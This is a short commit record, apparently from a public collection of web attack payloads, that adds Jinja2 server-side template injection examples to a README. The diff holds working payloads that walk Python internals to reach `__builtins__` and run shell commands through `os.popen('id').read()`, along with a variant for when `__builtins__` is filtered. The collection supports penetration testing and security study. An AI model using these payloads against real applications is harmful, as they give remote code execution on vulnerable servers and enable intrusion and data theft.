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SSTI: add some jinja2 examples

This commit is contained in:
Alexandre ZANNI 2023-01-28 15:29:54 +01:00 committed by GitHub
parent d0067e13d5
commit 89782643c9
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GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 11 additions and 1 deletions
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12
Server Side Template Injection/README.md
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@ -471,6 +471,12 @@ Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement
{{ ''.__class__.__mro__[2].__subclasses__() }}
```
Access `__globals__` and `__builtins__`:
```python
{{ self.__init__.__globals__.__builtins__ }}
```
### Jinja2 - Dump all config variables
```python
@ -523,7 +529,11 @@ def hook(*args, **kwargs):
#### Exploit the SSTI by calling os.popen().read()
These payloads are context-free, and do not require anything, except being in a jinja2 Template object:
```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```
But when `__builtins__` is filtered, the following payloads are context-free, and do not require anything, except being in a jinja2 Template object:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}